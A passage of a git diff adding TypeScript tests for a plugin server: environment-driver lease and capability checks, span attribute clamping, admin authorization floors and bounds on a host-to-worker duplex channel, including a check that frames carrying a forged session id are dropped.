     for (const body of [apiReference, issueDocs]) {
-      expect(body).toContain('resolverPolicy: "board_only" | "board_or_agents"');
+      expect(body).toContain('resolverPolicy: "anyone" | "not_creator" | "human_only"');
       expect(body).toContain("requestedResolverPolicy");
       expect(body).toContain("effectiveResolverPolicy");
       expect(body).toContain("toolAction");
diff --git a/server/src/__tests__/plugin-environment-driver-ready-recovery.test.ts b/server/src/__tests__/plugin-environment-driver-ready-recovery.test.ts
index 718c3991536..766a9e4fc54 100644
--- a/server/src/__tests__/plugin-environment-driver-ready-recovery.test.ts
+++ b/server/src/__tests__/plugin-environment-driver-ready-recovery.test.ts
@@ -513,3 +513,80 @@ describe("listReadyPluginEnvironmentDrivers worker recovery", () => {
     }
   });
 });
+
+describe("listReadyPluginEnvironmentDrivers reusable-lease method verification", () => {
+  beforeEach(() => {
+    mockRegistry.getById.mockReset();
+    mockRegistry.list.mockReset();
+    mockRegistry.listConfigs.mockReset();
+    mockRegistry.update.mockReset();
+  });
+
+  function createRunningWorker(supportedMethods: string[]) {
+    return {
+      isRunning: vi.fn(() => true),
+      getWorker: vi.fn(() => ({ supportedMethods })),
+    } as unknown as PluginWorkerManager;
+  }
+
+  it("verifies reusable-lease methods when the worker advertises all lifecycle methods", async () => {
+    mockRegistry.list.mockResolvedValue([createPlugin("ready")]);
+    const drivers = await listReadyPluginEnvironmentDrivers({
+      db: {} as never,
+      workerManager: createRunningWorker([
+        "environmentResumeLease",
+        "environmentReleaseLease",
+        "environmentDestroyLease",
+        "environmentExecute",
+      ]),
+    });
+
+    expect(drivers).toHaveLength(1);
+    expect(drivers[0]?.reusableLeaseMethodsVerified).toBe(true);
+  });
+
+  it("does not verify reusable-lease methods when the worker omits the resume method", async () => {
+    mockRegistry.list.mockResolvedValue([createPlugin("ready")]);
+    const drivers = await listReadyPluginEnvironmentDrivers({
+      db: {} as never,
+      workerManager: createRunningWorker([
+        "environmentReleaseLease",
+        "environmentDestroyLease",
+      ]),
+    });
+
+    expect(drivers).toHaveLength(1);
+    expect(drivers[0]?.reusableLeaseMethodsVerified).toBe(false);
+  });
+
+  it("does not verify reusable-lease methods when the worker omits the release method", async () => {
+    mockRegistry.list.mockResolvedValue([createPlugin("ready")]);
+    const drivers = await listReadyPluginEnvironmentDrivers({
+      db: {} as never,
+      workerManager: createRunningWorker([
+        "environmentResumeLease",
+        "environmentDestroyLease",
+      ]),
+    });
+
+    expect(drivers).toHaveLength(1);
+    expect(drivers[0]?.reusableLeaseMethodsVerified).toBe(false);
+  });
+
+  it("does not verify reusable-lease methods when the worker omits the destroy method", async () => {
+    // A provider that resumes and releases but cannot destroy a stale lease must
+    // not present as reusable. The reuse path destroys the stale lease when a
+    // resume fails, so without destroy the runtime would strand the lease.
+    mockRegistry.list.mockResolvedValue([createPlugin("ready")]);
+    const drivers = await listReadyPluginEnvironmentDrivers({
+      db: {} as never,
+      workerManager: createRunningWorker([
+        "environmentResumeLease",
+        "environmentReleaseLease",
+      ]),
+    });
+
+    expect(drivers).toHaveLength(1);
+    expect(drivers[0]?.reusableLeaseMethodsVerified).toBe(false);
+  });
+});
diff --git a/server/src/__tests__/plugin-environment-driver-sandbox-capabilities.test.ts b/server/src/__tests__/plugin-environment-driver-sandbox-capabilities.test.ts
new file mode 100644
index 00000000000..d1716928e4b
--- /dev/null
+++ b/server/src/__tests__/plugin-environment-driver-sandbox-capabilities.test.ts
@@ -0,0 +1,80 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import type { PaperclipPluginManifestV1 } from "@paperclipai/shared";
+import { listReadyPluginEnvironmentDrivers } from "../services/plugin-environment-driver.js";
+import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
+
+const mockRegistry = vi.hoisted(() => ({
+  getById: vi.fn(),
+  list: vi.fn(),
+  listConfigs: vi.fn(),
+  update: vi.fn(),
+}));
+
+vi.mock("../services/plugin-registry.js", () => ({
+  pluginRegistryService: () => mockRegistry,
+}));
+
+const PLUGIN_ID = "plugin-capability";
+const PLUGIN_KEY = "paperclip.capability-sandbox-provider";
+
+const manifest: PaperclipPluginManifestV1 = {
+  id: PLUGIN_KEY,
+  apiVersion: 1,
+  version: "1.0.0",
+  displayName: "Capability Sandbox Provider",
+  description: "Sandbox provider that declares fine-grained capabilities.",
+  author: "Paperclip",
+  categories: ["automation"],
+  capabilities: ["environment.drivers.register"],
+  entrypoints: { worker: "dist/worker.js" },
+  environmentDrivers: [
+    {
+      driverKey: "capability-provider",
+      kind: "sandbox_provider",
+      displayName: "Capability Provider",
+      supportsReusableLeases: true,
+      sandboxCapabilities: {
+        reusableLeases: true,
+        nativeSyncIn: true,
+        nativeSyncOut: true,
+        persistentProcessSessions: false,
+      },
+      configSchema: { type: "object", properties: {} },
+    },
+  ],
+};
+
+describe("listReadyPluginEnvironmentDrivers sandbox capability projection", () => {
+  beforeEach(() => {
+    mockRegistry.getById.mockReset();
+    mockRegistry.list.mockReset();
+    mockRegistry.listConfigs.mockReset();
+    mockRegistry.update.mockReset();
+  });
+
+  it("test_capabilities_propagate_from_manifest_to_ready_driver_projection", async () => {
+    mockRegistry.list.mockResolvedValue([
+      { id: PLUGIN_ID, pluginKey: PLUGIN_KEY, status: "ready", manifestJson: manifest },
+    ]);
+    const workerManager = {
+      isRunning: vi.fn(() => true),
+      getWorker: vi.fn(() => ({ status: "running" })),
+    } as unknown as PluginWorkerManager;
+
+    const drivers = await listReadyPluginEnvironmentDrivers({
+      db: {} as never,
+      workerManager,
+    });
+
+    expect(drivers).toHaveLength(1);
+    // The projection allowlist carries the raw declaration through unchanged, so
+    // no reader downstream loses the capability contract.
+    expect(drivers[0]?.sandboxCapabilities).toEqual({
+      reusableLeases: true,
+      nativeSyncIn: true,
+      nativeSyncOut: true,
+      persistentProcessSessions: false,
+    });
+    expect(drivers[0]?.supportsReusableLeases).toBe(true);
+  });
+});
diff --git a/server/src/__tests__/plugin-host-services-span.test.ts b/server/src/__tests__/plugin-host-services-span.test.ts
index bb2a72bb568..cd3ad20cd66 100644
--- a/server/src/__tests__/plugin-host-services-span.test.ts
+++ b/server/src/__tests__/plugin-host-services-span.test.ts
@@ -311,4 +311,21 @@ describe("clampProviderSpanAttributes", () => {
       // A non-finite number yields no attribute; `exec.command` is not allowed.
     });
   });
+
+  it("keeps the transfer direction for each closed-set value", () => {
+    expect(clampProviderSpanAttributes({ [A.transferDirection]: "inbound" })).toEqual({
+      [A.transferDirection]: "inbound",
+    });
+    expect(clampProviderSpanAttributes({ [A.transferDirection]: "outbound" })).toEqual({
+      [A.transferDirection]: "outbound",
+    });
+  });
+
+  it("drops a transfer direction outside the closed set or of the wrong type", () => {
+    // A free-form string, an empty string, and a non-string all yield no
+    // attribute, so the direction stays bounded and low-cardinality.
+    expect(clampProviderSpanAttributes({ [A.transferDirection]: "sideways" })).toEqual({});
+    expect(clampProviderSpanAttributes({ [A.transferDirection]: "" })).toEqual({});
+    expect(clampProviderSpanAttributes({ [A.transferDirection]: 1 })).toEqual({});
+  });
 });
diff --git a/server/src/__tests__/plugin-orchestration-apis.test.ts b/server/src/__tests__/plugin-orchestration-apis.test.ts
index 9409ac02846..b54fe6e31da 100644
--- a/server/src/__tests__/plugin-orchestration-apis.test.ts
+++ b/server/src/__tests__/plugin-orchestration-apis.test.ts
@@ -862,7 +862,14 @@ describeEmbeddedPostgres("plugin orchestration APIs", () => {
       contextSnapshot: {},
     });
 
-    const services = buildHostServices(db, "plugin-record-id", "paperclip.gateway", createEventBusStub());
+    const services = buildHostServices(
+      db,
+      "plugin-record-id",
+      "paperclip.gateway",
+      createEventBusStub(),
+      undefined,
+      { heartbeatRuntimeEnv: {} },
+    );
     const comment = await services.issues.createComment({
       issueId,
       companyId,
@@ -896,6 +903,57 @@ describeEmbeddedPostgres("plugin orchestration APIs", () => {
     expect(run).toMatchObject({ agentId, companyId, status: "queued" });
   });
 
+  it("skips the assignee wakeup when the issue is cancelled concurrently with the comment being written", async () => {
+    const { companyId, agentId } = await seedCompanyAndAgent();
+    const humanUserId = randomUUID();
+    const issueId = randomUUID();
+    await db.insert(companyMemberships).values({
+      companyId,
+      principalType: "user",
+      principalId: humanUserId,
+      status: "active",
+      membershipRole: "owner",
+    });
+    await db.insert(issues).values({
+      id: issueId,
+      companyId,
+      title: "Needs human input",
+      status: "in_review",
+      priority: "medium",
+      assigneeAgentId: agentId,
+    });
+
+    const services = buildHostServices(db, "plugin-record-id", "paperclip.gateway", createEventBusStub());
+
+    // Hold a row lock on the issue so createComment's own `UPDATE issues SET
+    // updated_at` (inside addComment) blocks until this transaction commits a
+    // concurrent cancellation. That deterministically reproduces "another
+    // request closes the issue while the comment is being written" — the
+    // race Greptile flagged on the pre-insert `issue` snapshot — without
+    // relying on timing luck for the outcome, only for scheduling.
+    const lockAndCancelPromise = db.transaction(async (tx) => {
+      await tx.select().from(issues).where(eq(issues.id, issueId)).for("update");
+      await new Promise((resolve) => setTimeout(resolve, 50));
+      await tx.update(issues).set({ status: "cancelled" }).where(eq(issues.id, issueId));
+    });
+
+    const commentPromise = services.issues.createComment({
+      issueId,
+      companyId,
+      body: "Here's my answer",
+      actorUserId: humanUserId,
+    });
+
+    const [comment] = await Promise.all([commentPromise, lockAndCancelPromise]);
+
+    expect(comment).toMatchObject({
+      authorType: "user",
+      authorUserId: humanUserId,
+      body: "Here's my answer",
+    });
+    await expect(db.select().from(agentWakeupRequests)).resolves.toHaveLength(0);
+  });
+
   // ---------------------------------------------------------------------------
   // LOOA-641 — interactions.respond / approvals.decide impersonation surface.
   // The host must independently re-verify the paired user's active membership
diff --git a/server/src/__tests__/plugin-routes-authz.test.ts b/server/src/__tests__/plugin-routes-authz.test.ts
index c7a0844b519..3bded76b2e2 100644
--- a/server/src/__tests__/plugin-routes-authz.test.ts
+++ b/server/src/__tests__/plugin-routes-authz.test.ts
@@ -1,6 +1,6 @@
 import express from "express";
 import request from "supertest";
-import { beforeEach, describe, expect, it, vi } from "vitest";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 
 const mockRegistry = vi.hoisted(() => ({
   getById: vi.fn(),
@@ -1103,3 +1103,55 @@ describe.sequential("plugin tool and bridge authz", () => {
     expect(executeTool).not.toHaveBeenCalled();
   });
 });
+
+describe.sequential("operator-hidden plugin management floor", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.plugins";
+  });
+  afterEach(() => {
+    delete process.env.PAPERCLIP_HIDDEN_SETTINGS;
+  });
+
+  const instanceAdmin = () => boardActor({ isInstanceAdmin: true, userId: "instance-admin" });
+
+  it("floors plugin lifecycle and config writes for instance admins", async () => {
+    const { app, loader } = await createApp(instanceAdmin());
+    readyPlugin();
+
+    const attempts: Array<[string, request.Test]> = [
+      ["install", request(app).post("/api/plugins/install").send({ packageName: "@paperclipai/plugin-modal" })],
+      ["uninstall", request(app).delete(`/api/plugins/${pluginId}`)],
+      ["enable", request(app).post(`/api/plugins/${pluginId}/enable`)],
+      ["disable", request(app).post(`/api/plugins/${pluginId}/disable`).send({})],
+      ["upgrade", request(app).post(`/api/plugins/${pluginId}/upgrade`).send({})],
+      ["config", request(app).post(`/api/plugins/${pluginId}/config`).send({ config: {} })],
+      ["config test", request(app).post(`/api/plugins/${pluginId}/config/test`).send({ config: {} })],
+      [
+        "local folder",
+        request(app)
+          .put(`/api/plugins/${pluginId}/companies/${companyA}/local-folders/data`)
+          .send({ path: "/tmp/folder" }),
+      ],
+    ];
+    for (const [name, attempt] of attempts) {
+      const res = await attempt;
+      expect(res.status, `${name}: ${JSON.stringify(res.body)}`).toBe(403);
+      expect(res.body.details, name).toMatchObject({ code: "settings_operator_managed" });
+    }
+    expect(loader.installPlugin).not.toHaveBeenCalled();
+    expect(mockLifecycle.enable).not.toHaveBeenCalled();
+    expect(mockLifecycle.disable).not.toHaveBeenCalled();
+    expect(mockLifecycle.upgrade).not.toHaveBeenCalled();
+    expect(mockLifecycle.unload).not.toHaveBeenCalled();
+    expect(mockRegistry.upsertConfig).not.toHaveBeenCalled();
+  });
+
+  it("keeps plugin reads open while the surface is hidden", async () => {
+    const { app } = await createApp(boardActor());
+
+    const res = await request(app).get("/api/plugins/examples");
+
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+  }, 20_000);
+});
diff --git a/server/src/__tests__/plugin-worker-manager-duplex.test.ts b/server/src/__tests__/plugin-worker-manager-duplex.test.ts
new file mode 100644
index 00000000000..94ecc850cdd
--- /dev/null
+++ b/server/src/__tests__/plugin-worker-manager-duplex.test.ts
@@ -0,0 +1,686 @@
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { describe, expect, it, vi } from "vitest";
+import type { PaperclipPluginManifestV1 } from "@paperclipai/shared";
+import { createPluginWorkerHandle } from "../services/plugin-worker-manager.js";
+
+const FIXTURES_DIR = path.join(path.dirname(fileURLToPath(import.meta.url)), "fixtures");
+const DUPLEX_CHANNEL_WORKER_ENTRYPOINT = path.join(
+  FIXTURES_DIR,
+  "plugin-worker-duplex-channel.cjs",
+);
+
+const TEST_MANIFEST: PaperclipPluginManifestV1 = {
+  id: "test.plugin",
+  apiVersion: 1,
+  version: "1.0.0",
+  displayName: "Test plugin",
+  description: "Test plugin",
+  author: "Paperclip",
+  categories: ["automation"],
+  capabilities: [],
+  entrypoints: { worker: "dist/worker.js" },
+};
+
+function makeDuplexHandle(extra?: Record<string, unknown>) {
+  return createPluginWorkerHandle("test.plugin", {
+    entrypointPath: DUPLEX_CHANNEL_WORKER_ENTRYPOINT,
+    manifest: TEST_MANIFEST,
+    config: {},
+    instanceInfo: { instanceId: "instance-1", hostVersion: "1.0.0" },
+    apiVersion: 1,
+    hostHandlers: {},
+    ...extra,
+  });
+}
+
+// The test directive rides in `providerLeaseId`, an opaque field the manager
+// forwards to the worker unchanged. The duplex channel is generic, so the
+// command is a plain fixed string with no allowlist.
+function duplexOpenInput(directive: unknown) {
+  return {
+    driverKey: "daytona",
+    companyId: "company-1",
+    environmentId: "env-1",
+    providerLeaseId: JSON.stringify(directive),
+    command: "bridge-callback",
+  };
+}
+
+describe("plugin worker manager duplex channel route", () => {
+  it("delivers data only for the exact bound worker session id and drops a mismatch", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          data: [
+            { chunk: "good-1" },
+            { chunk: "forged", sid: "ws-EVIL" },
+            { chunk: "good-2" },
+          ],
+          exitCode: 0,
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      await expect(session.wait()).resolves.toEqual({ exitCode: 0 });
+      // The forged notification carries a wrong worker session id, so the host
+      // drops it. Only the two bound chunks reach the listener, in order.
+      expect(chunks).toEqual(["good-1", "good-2"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("routes input to the worker and back to the listener", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({ workerSessionId: "ws-A", echoInput: true }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      session.write("callback-payload");
+      // The worker echoes the input as one data notification for the bound
+      // session, so the listener receives it.
+      await vi.waitFor(() => expect(chunks).toContain("echo:callback-payload"));
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("buffers early data in order until a listener attaches and drains it in order", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          data: [{ chunk: "one" }, { chunk: "two" }, { chunk: "three" }],
+        }),
+      );
+      // Wait so the three data notifications arrive and buffer before a listener
+      // attaches. The drain then delivers them in order.
+      await new Promise((resolve) => setTimeout(resolve, 60));
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      await vi.waitFor(() => expect(chunks.length).toBe(3));
+      expect(chunks).toEqual(["one", "two", "three"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("isolates a throwing listener during live delivery so later chunks still route", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          data: [{ chunk: "ok-1" }, { chunk: "boom" }, { chunk: "ok-2" }],
+          exitCode: 0,
+        }),
+      );
+      const chunks: string[] = [];
+      // The listener throws on one chunk. The manager catches the throw, so it
+      // does not escape the worker stdout notification handler. The later chunk
+      // still routes and the route still settles.
+      session.onData((chunk) => {
+        chunks.push(chunk);
+        if (chunk === "boom") throw new Error("listener failure");
+      });
+      await expect(session.wait()).resolves.toEqual({ exitCode: 0 });
+      expect(chunks).toEqual(["ok-1", "boom", "ok-2"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("isolates a throwing listener during the buffered replay so every buffered chunk routes", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          data: [{ chunk: "one" }, { chunk: "boom" }, { chunk: "three" }],
+        }),
+      );
+      // Wait so the three data notifications arrive and buffer before a listener
+      // attaches. The drain then delivers them in order.
+      await new Promise((resolve) => setTimeout(resolve, 60));
+      const chunks: string[] = [];
+      // The listener throws on one buffered chunk. The manager catches the throw
+      // inside the drain, so it does not escape `onData` and every buffered chunk
+      // still routes.
+      expect(() =>
+        session.onData((chunk) => {
+          chunks.push(chunk);
+          if (chunk === "boom") throw new Error("listener failure");
+        }),
+      ).not.toThrow();
+      expect(chunks).toEqual(["one", "boom", "three"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("binds the worker session id one time and ignores a duplicate open reply", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          mode: "duplicate-open-reply",
+          workerSessionId: "ws-A",
+          data: [{ chunk: "hello" }],
+          exitCode: 0,
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      // The duplicate open reply never rebinds or reopens the route, so the
+      // session runs normally on the one bind.
+      await expect(session.wait()).resolves.toEqual({ exitCode: 0 });
+      expect(chunks).toEqual(["hello"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("terminalizes and fails closed on a malformed open reply, then admits a later open", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      await expect(
+        handle.openDuplexChannel(duplexOpenInput({ mode: "malformed-open" })),
+      ).rejects.toThrow("DUPLEX_CHANNEL_OPEN_FAILED");
+      // The terminalize closed the route by the host route id and the worker
+      // acknowledged the close, so a later open is admitted.
+      const session = await handle.openDuplexChannel(duplexOpenInput({ mode: "normal" }));
+      expect(session).toBeDefined();
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("permits one active duplex channel per worker", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const first = await handle.openDuplexChannel(duplexOpenInput({ mode: "normal" }));
+      // A second open while the first route is not closed rejects with one fixed
+      // non-secret error before it reaches the worker.
+      await expect(
+        handle.openDuplexChannel(duplexOpenInput({ mode: "normal" })),
+      ).rejects.toThrow("DUPLEX_CHANNEL_ROUTE_BUSY");
+      await first.close();
+      // After the first route closes and the worker acknowledges the close, a new
+      // open is admitted.
+      const second = await handle.openDuplexChannel(duplexOpenInput({ mode: "normal" }));
+      await second.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  // -------------------------------------------------------------------------
+  // The five explicit bounds. Each bound ends the route when it is exceeded.
+  // -------------------------------------------------------------------------
+
+  it("ends the route when the pre-bind buffered bytes pass the bound", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxPreBindBufferedChars: 10 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          data: [
+            { chunk: "aaaaa" }, // total 5 → buffered
+            { chunk: "bbbbb" }, // total 10 → buffered
+            { chunk: "ccccc" }, // total 15 > 10 → end route
+          ],
+        }),
+      );
+      // No listener attaches, so the data buffers. The cumulative bytes pass the
+      // bound and the route ends. The login wait resolves with a null exit code.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route when the pre-bind buffered frame count passes the bound", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxPreBindBufferedFrames: 2 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          data: [{ chunk: "a" }, { chunk: "b" }, { chunk: "c" }],
+        }),
+      );
+      // No listener attaches, so the data buffers. The third frame passes the
+      // frame-count bound and the route ends.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route when the pending request count passes the bound", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxPendingRequests: 2 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({ mode: "no-write-reply", workerSessionId: "ws-A" }),
+      );
+      const waitResult = session.wait();
+      // The worker never replies to a write, so each write stays pending. The
+      // third write passes the pending-request bound and the route ends.
+      session.write("one");
+      session.write("two");
+      session.write("three");
+      await expect(waitResult).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route when one host-to-worker write passes the size bound", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxWriteChars: 8 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({ workerSessionId: "ws-A" }),
+      );
+      const waitResult = session.wait();
+      // One write is larger than the size bound, so the host rejects it and ends
+      // the route before it reaches the worker.
+      session.write("this-write-is-too-large");
+      await expect(waitResult).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route when the protocol error count passes the bound", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxProtocolErrors: 2 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          data: [
+            { chunk: "e1", sid: "ws-EVIL" },
+            { chunk: "e2", sid: "ws-EVIL" },
+            { chunk: "e3", sid: "ws-EVIL" },
+          ],
+        }),
+      );
+      // Each mismatched-session data frame is a protocol error. The third frame
+      // passes the error bound and the route ends.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route when the total data bytes pass the cap for a bound listener", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxTotalDataBytes: 10 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          data: [
+            { chunk: "aaaaa" }, // total 5 → deliver
+            { chunk: "bbbbb" }, // total 10 → deliver
+            { chunk: "ccccc" }, // total 15 > 10 → end route
+          ],
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      // A listener is bound, so the host forwards each chunk until the cumulative
+      // bytes pass the cap. The third chunk passes the cap, so the host drops it
+      // and ends the route. The listener never receives data past the cap.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+      expect(chunks).toEqual(["aaaaa", "bbbbb"]);
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("counts inbound bytes, not characters, against the total cap", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxTotalDataBytes: 4 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          // "€" is one character but three bytes in UTF-8. The first chunk is 3
+          // bytes (≤ 4), so the host delivers it. The second chunk brings the
+          // total to 6 bytes (> 4), so the host ends the route. A character count
+          // would admit both chunks (2 ≤ 4), so one delivered chunk proves the
+          // host counts bytes.
+          data: [{ chunk: "€" }, { chunk: "€" }],
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+      expect(chunks).toEqual(["€"]);
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("drains a buffered valid chunk to a listener that binds after the byte cap ends the route", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxTotalDataBytes: 4 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          // "€" is three bytes in UTF-8. The first chunk is 3 bytes (≤ 4), so the
+          // host counts and buffers it. The second chunk brings the total to 6
+          // bytes (> 4), so the host ends the route.
+          data: [{ chunk: "€" }, { chunk: "€" }],
+        }),
+      );
+      // Wait so both data frames arrive and the route ends on the byte cap before
+      // a listener binds. The first chunk is a valid buffered frame. The host must
+      // keep it, so the late listener drains it. This proves the host does not
+      // drop a buffered valid chunk when the route ends before a listener binds.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      expect(chunks).toEqual(["€"]);
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the active route when the lifetime timer expires", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxDurationMs: 100 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({ mode: "normal", workerSessionId: "ws-A" }),
+      );
+      const waitResult = session.wait();
+      // The route sends no exit. The lifetime timer expires, so the host ends the
+      // route and resolves the wait with the fixed null exit code.
+      await expect(waitResult).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route at once when one inbound chunk passes the per-chunk limit before a listener binds", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxChunkChars: 4 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          data: [{ chunk: "this-one-chunk-is-too-large" }],
+        }),
+      );
+      // No listener attaches. One inbound chunk is larger than the per-chunk
+      // limit, so the host ends the route at once. The default protocol-error
+      // budget is far above one, so a single chunk that ends the route proves the
+      // host does not treat it as a protocol error.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route at once when one inbound chunk passes the per-chunk limit after a listener binds", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxChunkChars: 4 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          workerSessionId: "ws-A",
+          data: [{ chunk: "this-one-chunk-is-too-large" }],
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      // A listener is bound. One inbound chunk is larger than the per-chunk
+      // limit, so the host ends the route at once and never forwards the chunk.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+      expect(chunks).toEqual([]);
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  // -------------------------------------------------------------------------
+  // The open reply and a frame arrive in one read batch.
+  // -------------------------------------------------------------------------
+
+  it("holds and replays a data frame that arrives in the open-reply read batch", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          // The worker writes the open reply and the data and exit frames in one
+          // stdout write. The host reads them in one batch, so the data and exit
+          // frames arrive before the route binds. The host must hold the frames
+          // and replay them after the bind, not drop them.
+          batchWithOpenReply: true,
+          workerSessionId: "ws-A",
+          data: [{ chunk: "batched-one" }, { chunk: "batched-two" }],
+          exitCode: 0,
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      await expect(session.wait()).resolves.toEqual({ exitCode: 0 });
+      expect(chunks).toEqual(["batched-one", "batched-two"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route when a batched frame passes the per-chunk limit before the bind", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxChunkChars: 4 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          // The worker batches the data frame with the open reply, so the frame
+          // arrives before the route binds. The replay after the bind applies the
+          // per-chunk limit, so the one large chunk ends the route.
+          batchWithOpenReply: true,
+          workerSessionId: "ws-A",
+          data: [{ chunk: "this-one-chunk-is-too-large" }],
+        }),
+      );
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route when batched pre-bind frames pass the frame count bound", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxPreBindBufferedFrames: 2 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          // The worker batches the three data frames with the open reply, so all
+          // three frames arrive before the route binds. No listener attaches, so
+          // the replay buffers them. The third frame passes the frame-count bound
+          // and the route ends. The pre-open hold must not drop the third frame
+          // before the buffered bound can end the route.
+          batchWithOpenReply: true,
